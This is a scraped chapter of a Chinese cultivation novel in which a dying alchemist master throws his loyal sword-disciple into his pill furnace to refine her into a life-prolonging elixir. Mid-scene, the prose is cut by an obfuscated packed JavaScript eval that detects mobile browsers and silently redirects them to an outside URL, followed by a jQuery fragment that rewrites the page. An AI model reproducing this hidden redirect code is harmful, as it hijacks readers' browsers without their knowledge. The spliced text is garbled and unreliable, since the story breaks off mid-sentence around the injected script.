第一次作剑法，元茶想要将手中的剑法写到最好，给灵树谷弟子最好的一册功法。随着她对剑的理解不断变化，她也在不停地修修改改，今日她终于封笔。


    完成一件壮举的喜悦，她想要和元乙分享。


    她喜气洋洋地看着青祟，双眼映出扮演的元乙倒影。


    寿元越短，元乙便变得愈发年迈，身上的死气愈发沉重。


    那双眼里映出的，已是青祟当时见到的元乙模样。


    鬓间银丝，眼角皱纹，元茶的师父在短短几年间已经垂垂老矣。


    此时已近夜晚，青祟站在烧着灵火的丹炉前，丹炉顶上洞顶，阴影笼罩起青祟和元茶，让青祟莫名感受到一阵恶寒。


    不安感涌出。


    元茶看到元乙的模样后，脸上的笑容逐渐变淡，那股创作出剑法的喜悦已然消失，唯余悲伤，她问道：“师父......相较于半月前，您又...”


    元乙看起来颓态更加。


    她已经知晓元乙寿元将近的事情了。


    就在某一日，她惊觉自己的师父已生成白发。


    可她从不知道，会变得这么近。


    她没问过元乙的寿命还剩下多久，只是希望能多一些。


    元茶强颜欢笑：“师父，你看看，我已经完成了。”她将手中那枚玉简递过去。


    青祟看着自己伸出手将玉简接了过来，却并未输入灵气查看。


    而在元茶眼中，那只手上的皮肤已经变得柔软松垮，再不附一个常人的朝气。


    青祟听到自己轻轻对元茶说：“小茶，身为你的师父，我很骄傲。”


    元茶有些悲哀地看着青祟。


    元乙的语气缓慢，一字一句，只让元茶感到无能为力。


    她可以变得十分优秀，让她的师父骄傲，可她不能用自己的优秀换来师父更多的时间。


    “小茶，”元乙抚上了元茶的脑袋，“我还剩下四月的时间。”


    他将声音拉得很慢，却未理睬手下有些颤抖的元茶，自顾自说着。


    “捡到你时，我还算一个有名声的丹修，见到你实在可怜，又合眼缘，便收你为徒。”


    “第一次见你的时候，还觉得你是个很伶俐的小孩，但相处久了，却觉得你是个十成十的傻丫头，笨丫头。”


    “叫你跟着杜香君，就算不拜她为师，你也有更好的路可以走。”


    元乙叹了口气：“她从不说大话，她说你能成为太极榜剑榜的榜首，那么日后你定能如此，你却硬要待在这灵树谷里，白费了这几年时间，你不傻谁傻？”


    元茶抬头说：“可我从来没后悔过啊，我日后也能出去闯荡，这又不是再不可能的事情，我更庆幸我留在了谷中，否则......”


    元茶说不下去。


    元乙哑着嗓子从喉间挤出笑声，对元茶说：“小茶，你不必遮掩地说，我几乎踏进了棺材里，这是事实。”


    “小茶，你觉得自我成了你的师父，我待你好吗？”


    “当然！”


    元乙又笑了，笑得有些厉害，笑声变成了咳嗽声。


    元茶连忙去扶元乙。


    元乙将手搭在元茶肩膀上，身上的重量几乎压在了她的身上，元茶是一个剑修，她并不感觉到吃力。


    “小茶，师父也很怕死。”


    人到了这个时候，便有种历经沧桑回首过往的悲凉感，他回忆着自己的往事：“我出身一个不大不小的宗门，曾经有传承有底蕴，只是如今没落了，宗门里也是教导炼丹，我很喜欢炼丹，一门心思钻进去，就像你喜欢修剑一样，将炼丹当成了最重要的事情。”


    “宗门底蕴还算厚，我想学很多丹方，也希望能够救济众生，成一个大宗师，那时候我钻进藏书阁里，经常一待就是一天。”


    “到了后来，我出门历练，认识了许多人，就包括杜香君。”


    元乙回忆着说：“那时候她身边还有一个很厉害的前辈，她是一个——”


    元乙忽然停下来，默不作声。


    然后他跳过了这句话，若无其事地说：“后来，认识的人因为各种各样的原因都死了，我的身体自小便弱，根基薄弱，我也担心某一日死在求道的路上，便想找个人记住我对炼丹的见解。”


    “可惜，捡到的傻丫头不会炼丹，反而是个练剑的好苗子。”


    元乙笑了。


    “倒也无事，你很厉害，也很懂得感恩，师父很开心。”


    他恍惚地回忆着过去的事情，忽地叹了口气，问元茶：“小茶，你希望师父活下来吗？”


    “师父，我希望你能一直活下去。”


    元乙被元茶撑着身体，他的手握住元茶的肩头。


    “其实，我当年看了许多丹方，如今回想起来，竟有一两张残缺丹方十分有趣，兴许......我能试上一试。”


    “真的吗！师父，你都需要什么药材，我替你寻来！”元乙只剩下不到四个月，她要尽快帮上元乙。


    元乙摇摇头，手上用力，轻按住元茶。


    “无需你去寻，这些药材谷内大多数都有。三味主药，我已寻到两味，我几年前就开始改这个丹方，如今已修补的差不多，可以用丹炉试上一试了。”


    元茶有些激动。


    元乙语气讳莫如深：“小茶，待在谷中，你不后悔吧。”


    元茶摇了摇头，说道：“师父，我刚刚就说过，我不后悔。”


    元乙低低地笑了：“你怎么能不后悔呢？”


    他轻轻揉了揉元茶的头发。


    “小茶，你知道修仙界中有句话吗？任何道途都是与天争，丹修也不例外，甚至有人说丹修是最早显露出“逆者”的修士，你知道为何吗？”


    “为何？”


    “因为丹药，真的能做到......生死人肉白骨啊。”


    元乙眼中露出与往日不同寻常的目光，变得有些热烈，他因情绪激动，血色上涌，脸颊多了一丝久病之人难得拥有的红色，却在虚弱的面庞上显得有些奇怪。


    “小茶啊，那丹方，兴许真的能救我。”


    他说到此处有些动容，手上不免用力，他的手还搭在元茶肩头，力度已经让元茶有些不适。


    “小茶......师父需要你帮我，你愿意吗？”


    “师父，我当然愿意！”


    “哪怕代价是......你日后难做剑榜榜首了？”


    元茶表情变得有些空白，疑惑但是依旧说：“若是不当榜首便能让师父活下来，我宁可不当，这些都是虚名啊！”


    “你真是个笨丫头，小茶。”


    元乙站直，不再借着元茶支撑身体，看向了丹炉。


    元茶顺着视线，问道：“师父，从我进来时便看见，灵火在活跃，你已经开始炼丹了吗？”


    元乙“嗯”了一声。


    “师父，你要我怎么帮你？”元茶已经迫不及待。


    丹炉内的火舌舔舐着炉口边缘，但元茶并不觉得害怕。


    她炸过不下十个丹炉，连丹炉爆炸她都不害怕，还怕往外冒出的几片火舌吗？


    两人站得离丹炉很近，元茶等待着元乙的话。


    元乙摇了摇头，拍上元茶的肩膀。


    “小茶，药材千奇百怪，树根可做药，花心可做药，连山石兽齿也可做药，丹修可炼万物啊......”


    他向元茶感慨着。


    抬手之间，手心蓄力。


    落手之刻，掌间急势。


    变


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295943|196679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    故发生在一瞬间！


    青祟难以控制自己，只得眼睁睁地做一个旁观者。


    方才那股不安应验了。


    元茶被拍了个踉跄，朝前跌去。


    以她的身手，不会落得失足跌进丹炉的可笑下场，她有能力止住朝前跌去的动作。


    可元乙又一掌落下。


    元茶便懂了，那不是元乙失手错力，那就是她师父想做的。


    他的师父想要炼化她。


    他的师父为了活下去，想要吃掉她！


    眼前的火离脸颊越发近了。


    她依旧可以躲开。


    元茶脚上轻点，要错步扭开。


    但她却听到元乙的一声叹息。


    “小茶，我给你起的名字，你用了很多年了。”


    听到这句话，她不可避免地顿了一下，错过了躲开元乙下一掌的机会。


    每一掌都是元乙的全力，最后一掌，将元茶拍进了丹炉里。


    她只来得及转身，看向教导了她许多年的师父。


    鲜红如血的火焰，瞬间将她包拢起来，自青白相间的灵树谷弟子袍角上，爬遍元茶的全身。


    猩红色包裹住了这名年轻的剑修。


    “小茶，别违抗师父，当年......不是你硬要留在师父身边的吗？”


    青祟忽地了然，原来这便是当年在悬崖旁，元乙内心那复杂情感的来源。


    他早已有了这般非人的念头。


    只是当年尚未完全看到寿尽的可怕，还有人心，因此劝说小茶离去。


    而如今，一切都不同了。


    “小茶，这丹方是我七年前想起来的，我早就有了天人五衰的倾向，我也早就想起了这丹方。”


    “后来，我一直让你跟香君走啊。”


    “可惜，你不走。”


    “我曾经，也是有些良心的。”


    “可是你留下来了，我也要死了，有些东西就变得不是那么重要了。”


    他还是要烧尽了这师徒缘分。


    “小茶，你现在后悔吗？”


    元乙恍惚地看着丹炉内的那道身影：“元茶，你不会后悔，你跟师父说过的。”


    青祟只觉得可笑。


    他将那块写了剑法的玉简扔到了丹炉里，最终还是没有看上一眼。


    而后他封上了丹炉，封住了来自丹炉内的灼热视线。


    封住了自己的眼，看不见火苗贪婪地吞没掉象征着真传弟子的玉佩，吞掉他的佳徒。


    火焰熊熊烧着，丹炉内发出了“铛铛”的敲击声，是硬物与硬物相碰的声音。


    灵火能够瞬间吞噬掉人的神识，却难以一瞬吞掉一片龙鳞。


    元茶来的时候，腰间还挂着那柄“龙鳞”。


    龙鳞制成的剑，灵性易生，其身尖利。


    但龙有许多种，显然这片龙鳞并非来自一只无所不能的龙。


    龙鳞剑在炉中冲撞了许久，却最终与元茶一同成了困龙。


    良久，灵火腾起，吐出一道黄铜色的短影。


    “啪嗒”一声，那柄被元茶整日挂在腰间极其喜爱的本命剑龙鳞，失去了往日的光泽，无力地被扔在地上。


    半片龙鳞被灵火吞噬，只剩下一块不及半臂长的断刃，死气沉沉。


    元乙袖间飘出一纸黄页，他喜好用纸来书写丹方。


    纸页飘出，被丹炉的灵火点燃，字迹不甚清晰。


    【蛊还丹......第三味主药，骄子根骨。】


    【丹修炼万物，所求珍贵，药材便珍贵，蛊还丹以绝代的根骨做主药，予我苟延残喘。】


    那张薄薄的纸，已燃成一片灰烬，落在受困的龙鳞旁。


    恰如元乙被渴望焚尽成灰的心。